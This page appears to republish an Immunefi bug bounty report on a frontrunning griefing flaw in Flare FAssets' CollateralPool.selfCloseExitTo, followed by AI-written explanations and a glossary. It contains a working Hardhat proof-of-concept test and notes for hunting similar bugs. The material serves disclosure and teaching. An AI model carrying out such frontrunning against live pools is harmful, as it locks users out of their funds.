Skip to content
Business logic Audit finding Intermediate

Selfcloseexitto vulnerable to frontrunning griefing via exit

The selfCloseExitTo function calculates the required fAsset amount from the pool's current total collateral, which an attacker can reduce by frontrunning with an exit call. This raises the required amount above the victim's pre-approved allowance, causing the victim's transaction to revert and temporarily locking their funds.

Flare | FAssets

Originally disclosed on Immunefi

#55242 [SC-Low] selfcloseexitto vulnerable to frontrunning griefing via exit

Submitted on Sep 25th 2025 at 08:57:22 UTC by @Pig46940 for Mitigation Audit | Flare | FAssets

Description

Brief / Intro

The refactored selfCloseExitTo function in CollateralPool.sol is vulnerable to a griefing attack where an attacker frontruns a victim’s self-close exit by calling exit to reduce pool collateral. This manipulation raises the required fAsset amount for the victim’s selfCloseExitTo call, causing the victim’s transaction to revert due to insufficient allowance.

Vulnerability details

selfCloseExitTo computes a required f-asset amount using the current totalCollateral and then checks:

Solidity
uint256 requiredFAssets = _getFAssetRequiredToNotSpoilCR(natShare);
...
require(fAsset.allowance(msg.sender, address(this)) >= requiredFAssets, FAssetAllowanceTooSmall());
fAsset.safeTransferFrom(msg.sender, address(this), requiredFAssets);

Because requiredFAssets depends on totalCollateral, which is mutable and can be decreased by other users’ exit calls, the computed requiredFAssets can increase between the time the victim reads it off-chain and approves that amount, and the time their selfCloseExitTo transaction executes. An attacker can frontrun by calling exit first (reducing totalCollateral), increasing requiredFAssets, causing the victim’s transaction to revert at the allowance check.

Two code branches in _getFAssetRequiredToNotSpoilCR

{% stepper %} {% step %}

Pool is above exitCR

Code excerpt:

Solidity
// f-asset required for CR to stay above exitCR (might not be needed)
// solve (N - n) / (p / q (F - f)) >= cr get f = max(0, F - q (N - n) / (p cr))
resultWithoutRounding = MathUtils.subOrZero(backedFAssets,
    assetPrice.div * (totalCollateral - _natShare) * SafePct.MAX_BIPS / (assetPrice.mul * exitCR));

Behavior: decreasing totalCollateral (N) decreases the subtracted term → increases resultWithoutRounding → increases requiredFAssets. Thus an attacker withdrawing collateral increases the f-asset requirement for a pending self-close exit. {% endstep %}

{% step %}

Pool at or below exitCR

Code excerpt:

Solidity
// f-asset that preserves pool CR (assume poolNatBalance >= natShare > 0)
// solve (N - n) / (F - f) = N / F get f = n F / N
resultWithoutRounding = backedFAssets.mulDivRoundUp(_natShare, totalCollateral);

Behavior: decreasing totalCollateral (N) makes the fraction natShare / totalCollateral larger → increases required f-assets as well. Again, an attacker reducing total collateral raises the requirement for the same natShare. {% endstep %} {% endstepper %}

Attack flow

  1. Victim deposits into the pool and obtains pool tokens (tokenBalance).
  2. Off-chain, the victim computes initialRequired = collateralPool.fAssetRequiredForSelfCloseExit(tokenBalance) and approves initialRequired to collateralPool.
  3. Attacker observes the mempool and frontruns the victim by calling collateralPool.exit(attackerTokens), reducing totalCollateral.
  4. The victim’s approved allowance is now too small relative to the new requiredFAssets computed at execution time.
  5. The victim’s selfCloseExitTo transaction reverts at the allowance check:
require(fAsset.allowance(msg.sender, address(this)) >= requiredFAssets, FAssetAllowanceTooSmall());

revert reason: FAssetAllowanceTooSmall

Impact details

  • Denial of exit — Victim’s transaction reverts due to insufficient allowance, preventing them from closing their position and retrieving collateral.
  • Temporary fund lock — Victim’s funds are effectively locked in the pool until they recompute and approve a higher fAsset amount.
  • Repeated exploitation — An attacker could repeatedly frontrun multiple victims, causing widespread griefing and user frustration.
  • Operational disruption — Users may be forced to over-approve fAssets to avoid reverts, increasing exposure.

Proof of Concept

This PoC demonstrates how an attacker can block a victim’s selfCloseExit by manipulating the pool’s collateral ratio (CR). Add the following test to CollateralPool.ts:

Solidity
it.only("should demonstrate griefing: attacker raises CR via exit and blocks victim's selfCloseExit", async () => {
    const victim = accounts[0];
    const attacker = accounts[1];

    await collateralPool.enter({ value: ETH(10), from: victim });
    await collateralPool.enter({ value: ETH(1), from: attacker });

    await fAsset.mint(victim, ETH(100), { from: assetManager.address });
    await fAsset.mint(attacker, ETH(1), { from: assetManager.address });

    await assetManager.setFAssetsBackedByPool(ETH(10));

    await fAsset.mint(collateralPool.address, ETH(100), { from: assetManager.address });
    const payload = abiEncodeCall(collateralPool, (p) => p.fAssetFeeDeposited(ETH(100)));
    await assetManager.callFunctionAt(collateralPool.address, payload);

    // Victim’s token balance and initial requirement
    const victimTokens = await collateralPoolToken.balanceOf(victim);
    const initialRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
    await fAsset.approve(collateralPool.address, initialRequired, { from: victim });
    console.log("Initial required FAssets for victim exit:", initialRequired.toString());

    // Attacker frontruns by manipulating CR through exit (griefing action)
    const attackerTokens = await collateralPoolToken.balanceOf(attacker);
    await collateralPool.exit(attackerTokens, { from: attacker });

    // Victim’s new requirement after attacker manipulation
    const newRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
    console.log("New required FAssets after attacker manipulation:", newRequired.toString());

    // Victim’s selfCloseExit is now blocked due to increased requirement
    await expectRevert.custom(
        collateralPool.selfCloseExit(victimTokens, true, "", ZERO_ADDRESS, { from: victim }),
        "FAssetAllowanceTooSmall",
        []
    );
});

Run the test:

Bash
$ yarn hardhat test ./test/unit/collateralPool/CollateralPool.ts
yarn run v1.22.22

  Contract: CollateralPool.sol; test/unit/collateralPool/CollateralPool.ts; Collateral pool basic tests
    Testing the original stuck funds bug and its fix
Initial required FAssets for victim exit: 8333333334000000000
New required FAssets after attacker manipulation: 10000000000000000000
      ✔ should demonstrate griefing: attacker raises CR via exit and blocks victim's selfCloseExit (48ms)


  1 passing (934ms)

References

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This finding concerns the FAssets system from Flare, specifically the CollateralPool.sol contract. The report was filed against a mitigation audit of the FAssets codebase, at target commit [redacted], and is classified as a smart contract issue of Low severity. The listed impacts are griefing with no profit motive for the attacker but damage to users or the protocol, and a contract that fails to deliver promised returns without losing value.

The feature in question is selfCloseExitTo, a refactored function in CollateralPool.sol. A user who holds pool tokens can use it to close their position and retrieve collateral by paying an amount of f-assets computed from the pool's current state. The amount is derived from the pool's collateral ratio (CR), so it moves with the pool's collateral.

Setup

The proof of concept is a Hardhat test added to CollateralPool.ts. It uses two accounts: accounts[0] as the victim and accounts[1] as the attacker. The test relies on the collateral pool, the f-asset token, the asset manager and the collateral pool token, and it mints f-assets through assetManager.address acting as the minter. The test is run with:

Bash
yarn hardhat test ./test/unit/collateralPool/CollateralPool.ts

Finding it

The researcher looked at how selfCloseExitTo computes the f-asset amount it requires and noticed that the value depends on totalCollateral, which any other user can change by calling exit. The function computes the requirement and then checks the caller's allowance against it:

Solidity
uint256 requiredFAssets = _getFAssetRequiredToNotSpoilCR(natShare);
...
require(fAsset.allowance(msg.sender, address(this)) >= requiredFAssets, FAssetAllowanceTooSmall());
fAsset.safeTransferFrom(msg.sender, address(this), requiredFAssets);

Because requiredFAssets is not fixed at the time the victim reads it off-chain and approves it, but recomputed at execution time from mutable pool state, a transaction that reduces totalCollateral in between raises the requirement. A victim who approved exactly the earlier figure then fails the allowance check.

Exploitation

Step 1: Victim enters the pool

The victim deposits into the pool and receives pool tokens (tokenBalance). In the test, the victim enters with 10 ETH and the attacker with 1 ETH:

Solidity
await collateralPool.enter({ value: ETH(10), from: victim });
await collateralPool.enter({ value: ETH(1), from: attacker });

Step 2: Victim computes and approves the requirement off-chain

Off-chain, the victim calls collateralPool.fAssetRequiredForSelfCloseExit(tokenBalance) and approves that amount to the pool. In the test this is done directly against the contract:

Solidity
const victimTokens = await collateralPoolToken.balanceOf(victim);
const initialRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
await fAsset.approve(collateralPool.address, initialRequired, { from: victim });
console.log("Initial required FAssets for victim exit:", initialRequired.toString());

The logged initial requirement is 8333333334000000000.

Step 3: Attacker frontruns with exit

The attacker observes the pending transaction and calls exit with their own pool tokens first, which reduces totalCollateral:

Solidity
const attackerTokens = await collateralPoolToken.balanceOf(attacker);
await collateralPool.exit(attackerTokens, { from: attacker });

Step 4: The requirement rises

After the attacker's exit, the victim recomputes the requirement for the same victimTokens and gets a larger figure:

Solidity
const newRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
console.log("New required FAssets after attacker manipulation:", newRequired.toString());

The logged new requirement is 10000000000000000000, up from 8333333334000000000.

Step 5: Victim's transaction reverts

The victim's selfCloseExit now fails the allowance check because the approved amount is below the recomputed requirement:

Solidity
await expectRevert.custom(
    collateralPool.selfCloseExit(victimTokens, true, "", ZERO_ADDRESS, { from: victim }),
    "FAssetAllowanceTooSmall",
    []
);

The revert reason is FAssetAllowanceTooSmall. The full test output confirms the sequence:

Text
Initial required FAssets for victim exit: 8333333334000000000
New required FAssets after attacker manipulation: 10000000000000000000
      ✔ should demonstrate griefing: attacker raises CR via exit and blocks victim's selfCloseExit (48ms)

  1 passing (934ms)

Root cause

The requirement is computed inside _getFAssetRequiredToNotSpoilCR, which has two branches, and in both of them a decrease in totalCollateral increases the required f-asset amount.

When the pool is above exitCR, the code solves for the f-assets needed to keep the CR above the threshold:

Solidity
// f-asset required for CR to stay above exitCR (might not be needed)
// solve (N - n) / (p / q (F - f)) >= cr get f = max(0, F - q (N - n) / (p cr))
resultWithoutRounding = MathUtils.subOrZero(backedFAssets,
    assetPrice.div * (totalCollateral - _natShare) * SafePct.MAX_BIPS / (assetPrice.mul * exitCR));

Decreasing totalCollateral (N) decreases the subtracted term, which increases resultWithoutRounding and therefore requiredFAssets. An attacker withdrawing collateral raises the f-asset requirement for a pending self-close exit.

When the pool is at or below exitCR, the code preserves the pool CR instead:

Solidity
// f-asset that preserves pool CR (assume poolNatBalance >= natShare > 0)
// solve (N - n) / (F - f) = N / F get f = n F / N
resultWithoutRounding = backedFAssets.mulDivRoundUp(_natShare, totalCollateral);

Here decreasing totalCollateral (N) makes the fraction natShare / totalCollateral larger, which again increases the required f-assets for the same natShare.

The allowance check compares the caller's approval against a value recomputed from live pool state, so any change to that state between approval and execution can invalidate the approval. The report does not describe any mechanism that pins the requirement to the value the victim saw.

Impact

The consequences listed in the report are:

  1. Denial of exit: the victim's transaction reverts on insufficient allowance, preventing them from closing their position and retrieving collateral.
  2. Temporary fund lock: the victim's funds stay locked in the pool until they recompute and approve a higher f-asset amount.
  3. Repeated exploitation: an attacker could frontrun multiple victims, causing widespread griefing and user frustration.
  4. Operational disruption: users may be forced to over-approve f-assets to avoid reverts, increasing exposure.

The attacker gains nothing directly; the damage is to users and to the protocol's usability. The lock is temporary because the victim can recover by approving a larger amount.

Fix

The report does not describe a fix or a change made in response. The refactored selfCloseExitTo is the subject of the finding, and the mitigation audit context suggests the function had recently been reworked, but no remediation is stated.

Variants to test

  1. Other functions that recompute a required token amount from mutable pool state and then compare it against an allowance or balance. A positive result is a value that can be moved by another user's ordinary call between approval and execution.
  2. Exit and deposit paths that change totalCollateral or the pool's CR. A positive result is a pending user transaction that reverts solely because of another user's action.
  3. Any check of the form allowance >= required where required is derived from live state rather than from a parameter supplied by the caller. A positive result is a revert reason such as FAssetAllowanceTooSmall triggered by a third party.
  4. Both branches of a ratio calculation: test with the pool above and below the exit threshold, since the direction of the effect can differ between formulas. A positive result is an increased requirement in either branch after collateral is withdrawn.

Hunting notes

This kind of bug tends to sit in exit and redemption paths where the amount a user must pay is computed from pool-wide state at execution time, while the user approves it from a value read earlier. The signal during review is a require that compares an allowance or balance against a freshly computed variable, combined with a public function that changes the inputs to that computation. In this case the public exit function reduces totalCollateral, which feeds directly into _getFAssetRequiredToNotSpoilCR.

The researcher demonstrated impact with a unit test that shows the requirement rising from 8333333334000000000 to 10000000000000000000 after the attacker's exit, and the victim's call reverting with FAssetAllowanceTooSmall. That concrete before-and-after, plus the explicit revert, demonstrates the griefing effect in a unit test.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

FAssets is a system on Flare, and this finding concerns its collateral pool contract. To make that work, users put up collateral: they lock value into a shared pot called a collateral pool so that the system stays financially safe. In return they get pool tokens, which are like a receipt proving how much of the pot is theirs.

A user who holds pool tokens can later leave the pool and take their collateral back. One way to do that is a function called selfCloseExitTo in a smart contract named CollateralPool.sol. To leave, the user has to pay a certain amount of f-assets (the tokens the system issues). How much they must pay is not a fixed number: it is calculated from the current state of the pool, in particular from how much collateral the pool holds in total.

The problem the researcher found is a race condition. The user works out the amount on their own computer, approves that amount, and sends a transaction. But between the moment they approve and the moment their transaction is actually processed, another user can call a different function, exit, which takes collateral out of the pool. That changes the pool's state, so when the victim's transaction finally runs, the contract recalculates the required amount and gets a bigger number than the victim approved. The check fails and the victim's transaction is rejected.

The attacker gains nothing from this. The point is purely to cause trouble, which is what security people call griefing: damage done without profit. The report rates it Low severity and lists two impacts: griefing, and a contract that fails to deliver promised returns without losing value.

Background concepts, from zero

Before the details, a few ideas that the rest of the article relies on.

  • A smart contract is a program that lives on a blockchain. It runs automatically when someone sends it a transaction, and its code and data are public. CollateralPool.sol is one such program, written in a language called Solidity.
  • A transaction is a request sent to the blockchain to run a function in a contract. It is not instant: it waits in a queue called the mempool until a block producer picks it up. Anyone can watch that queue.
  • Frontrunning means seeing someone else's pending transaction in the queue and sending your own transaction first, so that yours is processed before theirs. It is like standing in a queue at a ticket counter and slipping your request in just before the person in front of you.
  • An allowance is a permission. In token contracts, you do not let a contract pull tokens from your wallet directly. Instead you call approve to say "this contract may take up to X tokens from me". Later the contract calls transferFrom to actually take them. If the contract tries to take more than X, the transfer fails.
  • A collateral ratio (CR) is a safety measure: how much collateral the pool holds compared with the value of the f-assets it has issued. A higher ratio means a safer pool. The system has a threshold called exitCR; below it, the pool is considered too weak.
  • A revert is how a smart contract cancels a transaction. When a require statement is not satisfied, the whole transaction is undone and an error message (the revert reason) is returned. No tokens move.
  • Hardhat is a development tool for writing and testing smart contracts. A unit test is a small program that calls contract functions and checks the results. The proof of concept here is a Hardhat test written in TypeScript.
  • ETH is the currency of the Ethereum blockchain, and ETH(10) in the test converts ten ether into wei. Wei is the smallest unit of ether; the long numbers like 8333333334000000000 are amounts expressed in wei.

Context

The finding concerns the FAssets system from Flare, specifically the CollateralPool.sol contract. It was filed against a mitigation audit of the FAssets codebase, at target commit [redacted]. A commit is a saved snapshot of a code repository, identified by a long code; it lets everyone refer to exactly the same version of the code. The issue is classified as a smart contract issue of Low severity.

The feature in question is selfCloseExitTo, a refactored function in CollateralPool.sol. "Refactored" means the code was recently reorganised or rewritten, which is often when new mistakes slip in. A user who holds pool tokens can use this function to close their position and retrieve collateral by paying an amount of f-assets computed from the pool's current state. The amount is derived from the pool's collateral ratio, so it moves whenever the pool's collateral moves.

Setup

The proof of concept is a Hardhat test added to CollateralPool.ts. It uses two accounts: accounts[0] as the victim and accounts[1] as the attacker. In a test environment, accounts are pre-funded wallets derived from a known mnemonic, so the test can act as both people. The test relies on the collateral pool, the f-asset token, the asset manager and the collateral pool token. The asset manager is another contract that oversees the f-asset system, and in the test it acts as the minter, the entity allowed to create new f-assets.

The test is run with:

Bash
yarn hardhat test ./test/unit/collateralPool/CollateralPool.ts

yarn is a package manager that runs project scripts, and hardhat test tells Hardhat to execute the test file at the given path. Running it reproduces the whole attack in a safe, local copy of the blockchain.

Finding it

The researcher looked at how selfCloseExitTo computes the f-asset amount it requires, and noticed that the value depends on totalCollateral, a variable that any other user can change by calling exit. The function computes the requirement and then checks the caller's allowance against it:

Solidity
uint256 requiredFAssets = _getFAssetRequiredToNotSpoilCR(natShare);
...
require(fAsset.allowance(msg.sender, address(this)) >= requiredFAssets, FAssetAllowanceTooSmall());
fAsset.safeTransferFrom(msg.sender, address(this), requiredFAssets);

Line by line:

  1. uint256 requiredFAssets = _getFAssetRequiredToNotSpoilCR(natShare); asks a helper function how many f-assets are needed so that the pool's collateral ratio does not drop below the safety threshold. The answer is stored in requiredFAssets. The input natShare is the user's share of the pool, in the pool's own accounting units.
  2. require(fAsset.allowance(msg.sender, address(this)) >= requiredFAssets, FAssetAllowanceTooSmall()); checks that the caller has approved at least that many f-assets to this contract. If not, the transaction is cancelled with the error FAssetAllowanceTooSmall.
  3. fAsset.safeTransferFrom(msg.sender, address(this), requiredFAssets); actually moves the f-assets from the user to the pool. This line only runs if the check above passed.

Because requiredFAssets is not fixed at the time the victim reads it off-chain and approves it, but recomputed at execution time from mutable pool state, a transaction that reduces totalCollateral in between raises the requirement. A victim who approved exactly the earlier figure then fails the allowance check. The report does not describe any mechanism that pins the requirement to the value the victim saw.

Exploitation

Step 1: Victim enters the pool

The victim deposits into the pool and receives pool tokens (tokenBalance). In the test, the victim enters with 10 ETH and the attacker with 1 ETH:

Solidity
await collateralPool.enter({ value: ETH(10), from: victim });
await collateralPool.enter({ value: ETH(1), from: attacker });

collateralPool.enter is the function for joining the pool. The value field is the amount of ETH sent along with the call, and from says which account is acting. The victim puts in ten times more than the attacker.

Step 2: Victim computes and approves the requirement off-chain

Off-chain, the victim calls collateralPool.fAssetRequiredForSelfCloseExit(tokenBalance) and approves that amount to the pool. "Off-chain" means outside the blockchain: the user's wallet or a website asks the contract a question without sending a transaction, reads the answer, and then prepares a transaction. In the test this is done directly against the contract:

Solidity
const victimTokens = await collateralPoolToken.balanceOf(victim);
const initialRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
await fAsset.approve(collateralPool.address, initialRequired, { from: victim });
console.log("Initial required FAssets for victim exit:", initialRequired.toString());
  1. balanceOf(victim) asks the pool token contract how many pool tokens the victim holds. That number is the victim's share.
  2. fAssetRequiredForSelfCloseExit(victimTokens) asks the pool how many f-assets would be needed to exit with that share, given the pool's state right now.
  3. fAsset.approve(collateralPool.address, initialRequired, ...) gives the pool permission to take exactly that many f-assets from the victim. This is the allowance described earlier.
  4. console.log(...) prints the number so the test output shows it. The logged initial requirement is 8333333334000000000.

The victim computes the requirement off-chain and approves exactly that amount. The gap between looking up and sending is where the attack lives.

Step 3: Attacker frontruns with exit

The attacker observes the pending transaction and calls exit with their own pool tokens first, which reduces totalCollateral:

Solidity
const attackerTokens = await collateralPoolToken.balanceOf(attacker);
await collateralPool.exit(attackerTokens, { from: attacker });
  1. balanceOf(attacker) reads how many pool tokens the attacker holds.
  2. collateralPool.exit(attackerTokens, ...) makes the attacker leave the pool with all of them, taking their collateral out. That lowers the pool's total collateral.

In a real attack the attacker would watch the mempool and frontrun the victim's pending exit with their own exit. In the test the order is simply written out, which is enough to show the effect.

Step 4: The requirement rises

After the attacker's exit, the victim recomputes the requirement for the same victimTokens and gets a larger figure:

Solidity
const newRequired = await collateralPool.fAssetRequiredForSelfCloseExit(victimTokens);
console.log("New required FAssets after attacker manipulation:", newRequired.toString());

This calls the same read-only function as before, with the same share, but the pool now holds less collateral. The logged new requirement is 10000000000000000000, up from 8333333334000000000. The victim's share did not change; only the pool's total collateral did, and that was enough to raise the price of leaving.

Step 5: Victim's transaction reverts

The victim's selfCloseExit now fails the allowance check because the approved amount is below the recomputed requirement:

Solidity
await expectRevert.custom(
    collateralPool.selfCloseExit(victimTokens, true, "", ZERO_ADDRESS, { from: victim }),
    "FAssetAllowanceTooSmall",
    []
);
  1. collateralPool.selfCloseExit(...) is the victim's attempt to leave the pool and get collateral back.
  2. expectRevert.custom(...) is a test helper that asserts the call must fail, and must fail with a specific error message.
  3. "FAssetAllowanceTooSmall" is the expected revert reason. If the call succeeded, or failed with a different message, the test would fail.

The revert reason is FAssetAllowanceTooSmall. The full test output confirms the sequence:

Text
Initial required FAssets for victim exit: 8333333334000000000
New required FAssets after attacker manipulation: 10000000000000000000
      ✔ should demonstrate griefing: attacker raises CR via exit and blocks victim's selfCloseExit (48ms)

  1 passing (934ms)

The two numbers show the requirement rising, and the tick shows the test passed, meaning the victim's exit really was blocked.

Root cause

The requirement is computed inside _getFAssetRequiredToNotSpoilCR, which has two branches, and in both of them a decrease in totalCollateral increases the required f-asset amount. A branch is one of two alternative paths through the code, chosen by a condition such as whether the pool is above or below a threshold.

When the pool is above exitCR, the code solves for the f-assets needed to keep the CR above the threshold:

Solidity
// f-asset required for CR to stay above exitCR (might not be needed)
// solve (N - n) / (p / q (F - f)) >= cr get f = max(0, F - q (N - n) / (p cr))
resultWithoutRounding = MathUtils.subOrZero(backedFAssets,
    assetPrice.div * (totalCollateral - _natShare) * SafePct.MAX_BIPS / (assetPrice.mul * exitCR));

The comment states the formula solves for the f-assets needed to keep the CR above exitCR. In the code, backedFAssets is the total f-assets the pool backs, totalCollateral is the pool's collateral, _natShare is the user's share, and exitCR is the threshold. MathUtils.subOrZero is used in the calculation.

Decreasing totalCollateral decreases the subtracted term, which increases resultWithoutRounding and therefore requiredFAssets. In plain terms: the less collateral the pool holds, the more f-assets a user must pay to leave without weakening the pool further. An attacker withdrawing collateral therefore raises the f-asset requirement for a pending self-close exit.

When the pool is at or below exitCR, the code preserves the pool CR instead:

Solidity
// f-asset that preserves pool CR (assume poolNatBalance >= natShare > 0)
// solve (N - n) / (F - f) = N / F get f = n F / N
resultWithoutRounding = backedFAssets.mulDivRoundUp(_natShare, totalCollateral);

Here the formula keeps the ratio unchanged rather than restoring it to a threshold. mulDivRoundUp is used in the calculation. Decreasing totalCollateral makes the fraction natShare / totalCollateral larger, which again increases the required f-assets for the same natShare.

The allowance check compares the caller's approval against a value recomputed from live pool state, so any change to that state between approval and execution can invalidate the approval.

Impact

The consequences listed in the report are:

  1. Denial of exit: the victim's transaction reverts on insufficient allowance, preventing them from closing their position and retrieving collateral.
  2. Temporary fund lock: the victim's funds stay locked in the pool until they recompute and approve a higher f-asset amount.
  3. Repeated exploitation: an attacker could frontrun multiple victims, causing widespread griefing and user frustration.
  4. Operational disruption: users may be forced to over-approve f-assets to avoid reverts, increasing exposure.

The attacker gains nothing directly; the damage is to users and to the protocol's usability. The lock is temporary because the victim can recover by approving a larger amount. "Over-approving" means granting permission for more tokens than needed, which increases exposure.

Fix

The report does not describe a fix or a change made in response. The refactored selfCloseExitTo is the subject of the finding, and the mitigation audit context suggests the function had recently been reworked, but no remediation is stated.

Variants to test

These are directions for checking whether the same pattern appears elsewhere:

  1. Other functions that recompute a required token amount from mutable pool state and then compare it against an allowance or balance. A positive result is a value that can be moved by another user's ordinary call between approval and execution.
  2. Exit and deposit paths that change totalCollateral or the pool's CR. A positive result is a pending user transaction that reverts solely because of another user's action.
  3. Any check of the form allowance >= required where required is derived from live state rather than from a parameter supplied by the caller. A positive result is a revert reason such as FAssetAllowanceTooSmall triggered by a third party.
  4. Both branches of a ratio calculation: test with the pool above and below the exit threshold, since the direction of the effect can differ between formulas. A positive result is an increased requirement in either branch after collateral is withdrawn.

Hunting notes

This kind of bug tends to sit in exit and redemption paths where the amount a user must pay is computed from pool-wide state at execution time, while the user approves it from a value read earlier. The signal during review is a require that compares an allowance or balance against a freshly computed variable, combined with a public function that changes the inputs to that computation. In this case the public exit function reduces totalCollateral, which feeds directly into _getFAssetRequiredToNotSpoilCR.

The researcher demonstrated impact with a unit test that shows the requirement rising from 8333333334000000000 to 10000000000000000000 after the attacker's exit, and the victim's call reverting with FAssetAllowanceTooSmall. That concrete before-and-after, plus the explicit revert, demonstrates the griefing effect in a unit test.

Glossary

  • Allowance: a permission a token holder grants to a contract, letting it take up to a stated number of tokens from their wallet.
  • Asset manager: the contract in the FAssets system that oversees f-assets and, in the test, acts as the minter.
  • Blockchain: a shared, public record of transactions that many computers keep in sync.
  • Branch: one of two alternative paths through code, chosen by a condition.
  • Collateral: value locked up as a guarantee, so that a system stays financially safe.
  • Collateral pool: the shared pot of collateral that users deposit into and exit from.
  • Collateral ratio (CR): the amount of collateral the pool holds compared with the value of the f-assets it has issued.
  • Commit: a saved snapshot of a code repository, identified by a long code.
  • Denial of exit: a situation where a user is prevented from leaving a pool and retrieving their funds.
  • ETH: the currency of the Ethereum blockchain.
  • exitCR: the collateral ratio threshold below which the pool is considered too weak.
  • f-assets: the tokens issued by the FAssets system, backed by collateral.
  • Frontrunning: seeing another person's pending transaction and sending your own first so it is processed before theirs.
  • Griefing: causing damage to users or a protocol without gaining any profit yourself.
  • Hardhat: a development tool for writing, testing and running smart contracts locally.
  • Mempool: the queue where transactions wait before being included in a block.
  • Mitigation audit: a security review of changes made to address earlier findings.
  • Off-chain: outside the blockchain, for example a wallet or website reading data without sending a transaction.
  • Over-approving: granting a contract permission to take more tokens than is actually needed.
  • Pool tokens: tokens that represent a user's share of a collateral pool.
  • Race condition: a bug where the result depends on the order in which two things happen.
  • Refactoring: reorganising or rewriting code without changing what it is meant to do.
  • Revert: cancelling a transaction because a condition was not met, undoing all its effects.
  • Revert reason: the error message returned when a transaction reverts.
  • Severity: a rating of how serious a security issue is, here Low.
  • Smart contract: a program that lives on a blockchain and runs automatically when called.
  • Solidity: the programming language used to write smart contracts on Ethereum-style blockchains.
  • Transaction: a request sent to a blockchain to run a function in a contract.
  • Unit test: a small program that calls functions and checks that the results are as expected.
  • Wei: the smallest unit of ETH; the long numbers in the test output are amounts in wei.
  • Yarn: a package manager used to run project scripts such as tests.

More from Flare | FAssets

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.